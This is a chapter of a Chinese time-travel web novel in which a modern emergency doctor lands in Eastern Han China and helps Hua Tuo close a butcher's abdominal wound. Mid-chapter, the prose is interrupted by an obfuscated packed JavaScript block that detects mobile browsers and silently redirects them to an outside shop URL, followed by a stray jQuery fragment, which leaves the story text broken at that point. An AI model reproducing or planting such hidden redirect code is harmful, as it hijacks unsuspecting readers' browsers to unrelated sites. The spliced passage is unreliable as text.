第一章我成了“妖女”
顾湘醒过来的时候，嘴里还残留着速溶咖啡的苦味。
北京协和医院急诊科的大夜班从来不讲情面。十七个小时连轴转，三个心梗、一个主动脉夹层、一个喝农药自杀未遂的——最后一个病人刚推走，她就趴在办公桌上，想着“闭五分钟眼睛”。
然后就没有然后了。
现在她躺在一堆干草上，头顶是漏风的茅草屋顶，鼻尖萦绕着泥土、牲畜和腐草混合的气味。这味道她熟悉——不是现代社会的任何地方能有的。她在非洲援外医疗队待过半年，在内蒙牧区巡回医疗时住过蒙古包，但那种“原始感”和此刻完全不同。
她低头看了一眼自己的手。
干净的、消毒皂洗过的手。指甲修剪整齐，无名指上还有长期戴手套留下的浅浅压痕。白大褂还在，胸口的“北京协和医院·急诊科·顾湘”工牌还在，口袋里还有两支签字笔、一卷医用胶带和半板布洛芬。
手机不见了。手表还在，但指着凌晨三点——可头顶分明有阳光从茅草缝隙漏下来。
“妖女醒了！”
一个尖锐的声音炸开，紧接着是一阵杂沓的脚步声。顾湘猛地坐起来，后脑勺撞上一根低矮的木梁，疼得她龇了咧嘴。
门外涌进来一群人。
不，不是“一群”——是一村人。男女老少，粗布麻衣，面色黝黑，眼窝深陷，像是很久没吃饱过。前排几个壮汉手里攥着锄头、扁担，还有一个举着火把。
火把在大白天举火把？
顾湘的脑子飞速运转。她看了一眼那些人的衣服——汉代的深衣曲裾？不对，更简陋，像是粗麻布直接裹身。她想起在博物馆见过的汉代陶俑，那些平民的装束，差不多就是这个样子。
“烧死她！”有人喊。
“妖女！穿妖服！剪妖发！”又有人喊。
顾湘下意识摸了一下自己的头发——齐肩短发，为了方便戴手术帽常年保持的长度。这在古代确实要命。《孝经》说“身体发肤，受之父母，不敢毁伤”，剪发是大不孝，甚至被视为妖异。
“等等。”她说。
声音不大，但自带急诊科医生面对闹事家属时的威慑力。那是一种“我有理，你闭嘴，先听我说”的气场。
人群安静了一瞬。
“我不是妖女。”顾湘站起来，拍了拍白大褂上的草屑。她的腿有点软，但在ICU里站过十几个小时的人，这点软不算什么。“我是大夫。”
没有人听懂“大夫”这个词？不对，古代有“大夫”这个称呼，但那是官职。她立刻改口：“我是医者。”
人群骚动了一下，随即有人冷笑：“医者？哪有女医者？”
“女医者怎么了？”顾湘挑眉。
她知道自己这张脸不太有说服力。三十六岁，保养得当，但眼下的乌青和连续熬夜的浮肿让她看起来既不仙也不美。不过她的眼神是练出来的——在抢救室里，一个眼神就能让实习医生跑断腿。
“你从哪来的？”一个老者拄着拐杖走出来，看起来是村中长老。
顾湘张了张嘴。
她从哪儿来的？她从公元2024年来的，从北京东单三条来的，从一个叫“协和”的地方来的。但这话说出去，火把就该点着了。
“我从……”她顿了一下，“很远的地方来。”
“是妖女！”又有人喊，“她说不清来历！”
就在局面即将失控的瞬间，人群后面传来一阵骚动。
“让开让开！华先生来了！”
“华先生？哪个华先生？”顾湘心里咯噔了一下。
人群自动分开一条路。一个人大步走了进来。
约莫四十来岁的中年男人，身量高瘦，像一棵被风吹了多年的松树。面有风霜之色，颧骨微高，眼窝深陷但目光极亮——那种亮不是年轻人的锐利，而是一种看过太多生死之后的沉静笃定。
他穿青灰色短褐，腰间系一条布带，背着一个藤编药箱。药箱的盖子半开，露出里面的纸包和瓷瓶。他的手指很长，指节分明，指甲干净——这在古代太难得了。
顾湘脑子里只有一个念头：这人洗手。
在这遍地污秽的东汉末年，这人洗手。
“华先生，这妖女不知从何处来——”村民争先恐后地告状。
华佗没理他们，径直走到顾湘面前，上下打量了她一眼。
目光先是落在她的白大褂上，微微一凝；然后移到她的短发上，眉头微蹙；最后对上了她的眼睛。
那一瞬间，顾湘感觉自己在被一台CT扫描。不，比CT更厉害——CT只能看见病灶，这个人能看见人心。
“你是什么人？”他问。
声音低沉，不急不慢，像老中医搭脉时问“哪里不舒服”的语气。
顾湘深呼吸了一下。
“我叫顾湘，字——”她突然想到，古代女子有名有姓的不多，更没有字的说法，但她需要一个能在这个世界行走的身份。脑海中灵光一闪，“字南风。”
“南风？”华佗咀嚼了一下这两个字，“‘南风之薰兮，可以解吾民之愠兮’的南风？”
顾湘愣了一下。她取这个名字纯粹是因为“湘”是湖南简称，湖南在南方，所以“南风”。没想到华佗直接引用了《舜帝南风歌》。
“是。”她硬着头皮说。
华佗看她的眼神变了。不是信任，而是更加警惕——一个来历不明的女人，能接得上这句典故，要么是真有来头，要么是精心编排。
他正要再问，人群中突然有人大喊：“不好了！赵屠户不行了！”
所有人的注意力瞬间被吸引过去。华佗转身就走，顾湘几乎是本能地跟了上去。
人群朝村东头涌去。顾湘挤过人群，看到一间低矮的土坯房前围满了人。一个浑身是血的男人被抬在门板上，腹部有一道长长的裂口，肠子隐约可见。
赵屠户，谯县有名的杀猪匠。今天在集市上与人争执，被一刀捅进了肚子。村里人七手八脚把他抬回来，已经快没气了。
华佗蹲下来，掀开盖在伤口上的布。
顾湘只看了一眼，脑子里就跳出诊断：开放性腹部损伤，肠管外露，失血性休克前期。心率目测120+，呼吸急促，皮肤湿冷，意识模糊。
在现代，这需要紧急剖腹探查，清创、止血、吻合肠管、关腹，再加广谱抗生素、输血、ICU监护。
在这里，这人基本等于被判了死刑。
华佗的表情没有变化。他从药箱里取出银针，手法极快地刺入几个穴位——合谷、人中、足三里。这是用来“醒神开窍”的，相当于现代医学的刺激意识恢复。
赵屠户呻吟了一声，眼睛微微睁开。
“拿麻沸散来。”华佗对身边的弟子说。
一个年轻人连忙递上一个陶碗，里面是暗褐色的药液。顾湘闻到了曼陀罗、乌头、羊踯躅的气味——她在博士论文里研究过麻沸散的成分推测。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641814|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但此刻不是学术讨论的时候。
她注意到华佗的手在准备缝合，用的是丝线和一根弯针。但伤口周围的皮肤没有经过任何消毒处理，刀和针也只是在火上烤了一下。
感染。腹腔感染。术后必然发生的腹膜炎。
在这个没有抗生素的时代，腹腔感染基本等于死刑。
顾湘的手比脑子快，已经伸进了白大褂口袋。
半板布洛芬没用。医用胶带——有点用，但不是现在用的。签字笔——没用。
她蹲在华佗身边：“等一下。”
华佗的针顿住了。他抬眼看向她，目光里第一次有了不耐烦的意味——“这是我病人，你莫捣乱”的表情，古今中外的医生都一样。
“你打算怎么缝？”顾湘问。
“你打算怎么缝”这五个字在医学界是拉仇恨的。华佗的眉心跳了一下，但还是回答了：“先将肠管还纳，依次缝合腹壁各层——”
“用什么洗伤口？”
“……清水。”
“清水不够。”顾湘站起来，目光扫过四周，落在村民家里正在煮饭的灶台上。她走过去，不由分说端走那口正在烧水的陶锅，“这锅水烧开多久了？”
村民被她吓了一跳：“开……开了有一会儿了。”
开水。虽然没有高压灭菌，但煮沸过的水至少能杀灭大部分病原体。她又从药箱里翻出一坛酒，闻了闻——度数不高，大概十几二十度，聊胜于无。
“你做什么？”华佗跟过来，声音已经带了怒气。
顾湘没有回答，直接蹲回赵屠户身边，将凉温的开水缓缓冲洗伤口。然后用酒再冲一遍。赵屠户疼得嘶声惨叫，但意识不清，喊了两声又昏过去了。
华佗伸手要拦，顾湘一把抓住他的手腕。
她的手很稳。那是握了十几年手术刀的手。
“你觉得我是妖女，烧死我就行，但这个病人呢？”她说，语速极快，“他现在失血，最多还能撑半个时辰。你缝好伤口他也活不了，因为感染会杀了他。你明知道。”
华佗的眼神变了。
不是因为被冒犯，而是因为她说中了他正在纠结的事。是的，他知道。以他的经验，这种腹部开放伤的死亡率接近十成。他之所以还要施针，不过是尽人事。
“我的法子不一定管用，”顾湘说，“但至少不会让他死得更快。试不试？”
四目相对。
周围村民大气不敢出。有人说“妖女要害人”，有人说“让她试试反正也是死”。
华佗慢慢收回了被握住的手。
他没有说“好”，也没有说“不好”。他只是重新蹲下来，拿起针线，以一种前所未有认真的态度，开始缝合。
但他没有再用火烤针。
因为他注意到，顾湘在拿酒冲洗针线。
缝合进行了两刻钟。没有无影灯，没有吸引器，没有止血钳。顾湘全程蹲在华佗旁边，时不时递工具、冲伤口、按压出血点。华佗的手极快极准，丝线在他手里像活的一样。
最后一针打完，顾湘用医用胶带固定了敷料——这是她从现代带过来的唯一一件能真正派上用场的物资。
华佗看着那卷浅肤色的胶带，目光复杂。
“赵屠户今晚会发热，”顾湘说，“如果能撑过三天，就有机会活。如果发热后腹部变硬、剧痛，就没救了。那是腹腔感染。”
“我知道。”华佗说。
这是他对她说的第一句没有敌意的话。